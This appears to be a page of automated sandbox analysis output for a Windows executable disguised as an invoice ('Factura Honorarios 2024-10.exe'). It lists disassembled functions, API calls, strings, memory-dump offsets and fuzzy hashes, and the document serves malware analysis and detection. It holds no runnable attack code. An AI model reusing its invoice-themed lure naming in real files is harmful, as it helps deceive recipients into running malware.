Instruction ID: 39eb73ea935b4093d5e0ae2fe9f4df3abe493bf7cf7ddc07517dddc298ecdb3a
Opcode Fuzzy Hash: 09ec96b44468b6559568886edfe2b22b6abacdf6cac7a22eaf78803dc8c7711a
Instruction Fuzzy Hash: 0531C272C00118BBDF11AFA5CE49DAF7E79EF08368F24423AF510762D0C6795E418BA9

Function 004048EB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404906
GetMessagePos.USER32 ref: 0040490E
ScreenToClient.USER32(?,?), ref: 00404928
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040493A
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404960

Strings

f, xrefs: 0040493C

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: 5094cac0cfd66b0e8cfd3256396541bb223221662a15d93018ee399e52c78ab9
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: B9014071D00219BADB00DBA4DD45FFFBBB8AB95B21F10016ABB10B71C0C7B4A5018B95

Function 00402C7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402C9D
MulDiv.KERNEL32(000F32C3,00000064,000F32C7), ref: 00402CC8
wsprintfW.USER32 ref: 00402CD8
SetWindowTextW.USER32(?,?), ref: 00402CE8
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CFA

Strings

verifying installer: %d%%, xrefs: 00402CD2

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction ID: 00b8461607dcb0b3980451466b6828af2013657049940e2aaaac4a967361d4db
Opcode Fuzzy Hash: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction Fuzzy Hash: F5012170604208BBEF249F60DD49BAE3B69FB00305F008039FA06A52D1DBB99954DB59

Function 00401D41 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD58), ref: 00401DBC

Strings

Tahoma, xrefs: 00401DA2

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 86243b7d43fd1254334335eab61183055d5a94c6c62a8693a7ecd88f836f01fe
Instruction ID: 50cd7c3d9b324c63c10bedbdfe153cfa446442d7209eb1202fb80f546c31283e
Opcode Fuzzy Hash: 86243b7d43fd1254334335eab61183055d5a94c6c62a8693a7ecd88f836f01fe
Instruction Fuzzy Hash: D3016D71944280AFEB116BB0AE0AB9ABF74DF55301F14847AF141B62F2C7791005DBAE

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,74DEFFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,?), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000000.00000002.2309234242.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2309207055.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309259990.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2309283530.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction ID: 5f088aa0ca27e90fd893fee14e64151101962dab4a112754cbcab5b472a91c15
Opcode Fuzzy Hash: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction Fuzzy Hash: 53F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08315B104466F601F5190C674AD018B39

Function 00404805 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422698,00422698,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404896
wsprintfW.USER32 ref: 0040489F
SetDlgItemTextW.USER32(?,00422698), ref: 004048B2

Strings

%u.%u%s%s, xrefs: 00404880

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 3ce40e38d5b697acbaf551dfd4031fa8a76976e20437f1852b8b62a4044f6b57
Instruction ID: 59e17c8afd225f679fed4f3ac3ee25800eeb16d6bc796772b25e59257c8be9d1
Opcode Fuzzy Hash: 3ce40e38d5b697acbaf551dfd4031fa8a76976e20437f1852b8b62a4044f6b57
Instruction Fuzzy Hash: FB11E2776002243BDB10666D9C49EEF369DDBC6334F14863BFA29F61D1E978881186E8

Function 0040586D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Factura Honorarios 2024-10.exe"), ref: 0040587B
CharNextW.USER32(00000000), ref: 00405880
CharNextW.USER32(00000000), ref: 00405898

Strings

C:\, xrefs: 0040586E

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: b0c2eef9241feed9457590fddbc2aab5f3d07ba2361cf94bd4ebf9b70b50b23f
Instruction ID: 0e45d3d7899051d123986adb95df4b68677bfc9f51f839bc1fffa0be8c86f108
Opcode Fuzzy Hash: b0c2eef9241feed9457590fddbc2aab5f3d07ba2361cf94bd4ebf9b70b50b23f
Instruction Fuzzy Hash: ABF09013910F1195DF3176584C55A7B6BBCEF54361B04C03BEE42B72C0D3B84CA58A9A

Function 004057C2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004057C8
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004033B7), ref: 004057D2
lstrcatW.KERNEL32(?,00409014), ref: 004057E4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C2

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2289634718.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6d7e1b30bb844f15b9b36030bcc4b7738a51439c8837860c8faeba4cfa6a7ffc
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: 81D0A721505930AAC2127B448C04DDF73ACEE45340340483BF600B30E1C7781D418BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Memory Dump Source

Source File: 00000000.00000002.2288899004.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2288874992.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288921148.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2288945169.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
